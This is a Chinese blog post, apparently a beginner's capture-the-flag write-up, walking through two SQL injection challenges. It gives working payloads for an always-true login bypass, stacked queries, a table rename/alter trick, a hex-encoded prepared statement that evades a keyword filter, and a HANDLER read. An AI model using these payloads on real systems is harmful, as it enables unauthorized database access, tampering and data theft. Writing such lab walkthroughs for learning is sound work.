[极客大挑战 2019]EasySQL 1、[强网杯 2019]随便注 1


[极客大挑战 2019]EasySQL 1

工具:火狐、Hackbar

打开链接发现是一个登录界面,可能存在SQL注入

在用户名处输入

1 显示:Wrong username password

1′ 显示报错

闭合点应该是  ‘  单引号闭合

在用户名处输入 1′ or 1=1 — –   得到flag

[极客大挑战 2019]EasySQL 1、[强网杯 2019]随便注 1

[强网杯 2019]随便注 1

第一种方法

打开连接发现是一个查询框,可能存在SQL注入

第一步找闭合

输入 

1 不报错

1’ 报错

闭合为单引号

第二步求列数

1'  order by 1,2,3-- -开始报错

列数为2

第三步求显示位

输入1' union select 1-- -
提示return preg_match("/select|update|delete|drop|insert|where|/./i",$inject);

所以联合注入不行

尝试堆叠注入

1' ; show databases;

得到数据库名

第四步求表

1' ; show tables;

得出表名

第五步求列名

1'  ; show   columns from `1919810931114514`;   当表名为数字时要用反引号 (esc下面的)

第六步求字段

通过 rename 先把 words 表改名为其他的表名

把 1919810931114514 表的名字改为 words 

给新 words 表添加新的列名 id 

将 flag 改名为 data 

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

得出flag

第二种方法

因为select被过滤,所以可以将select * from `1919810931114514`进行16进制编码再通过构造payload得到

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

进而得到flag

prepare…from…是预处理语句,会进行编码转换

execute用来执行由SQL Prepare创建的SQl语句

SELECT可以在一条语句里对多个变量同时复制,而SET只能一次对一个变量赋值

第三种方法

1'; handler `1919810931114514` open as `a`; handler `a` read next;

 

[极客大挑战 2019]EasySQL 1、[强网杯 2019]随便注 1

新人第一次写博客,希望大家一起进步ヽ( ̄ω ̄( ̄ω ̄〃)ゝ

要是有错误的地方,欢迎大家批评指正!

 

原创文章,作者:745907710,如若转载,请注明出处:https://blog.ytso.com/tech/database/273181.html

(0)
上一篇 2022年7月10日 01:37
下一篇 2022年7月10日 01:38

相关推荐

发表回复

登录后才能评论